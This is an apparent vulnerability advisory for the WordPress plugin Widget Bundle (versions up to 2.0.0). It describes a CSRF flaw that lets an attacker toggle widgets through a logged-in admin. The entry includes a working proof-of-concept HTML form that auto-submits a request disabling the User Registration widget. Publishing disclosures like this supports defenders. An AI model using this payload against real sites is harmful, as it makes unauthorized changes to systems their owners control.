WordPress Plugin Vulnerabilities

Widget Bundle <= 2.0.0 - Widget Disable/Enable via CSRF

Description

The plugin does not have CSRF checks when logging Widgets, which could allow attackers to make logged in admin enable/disable widgets via a CSRF attack

Proof of Concept

This PoC disables the User Registration widget. To do so, make a logged in admin open an HTML file containing:


```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=widget-bundle" method="post">
        <input type="hidden" name="widget_options[widget_types][widget_login_register]" value="0" />
        <input type="hidden" name="widget_types_submit" value="Save" />
        <input type="submit" value="Submit" />
    </form>
</body>
```

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-05-31 (about 30 days ago)
Added
2024-05-31 (about 30 days ago)
Last Updated
2024-05-31 (about 30 days ago)

Other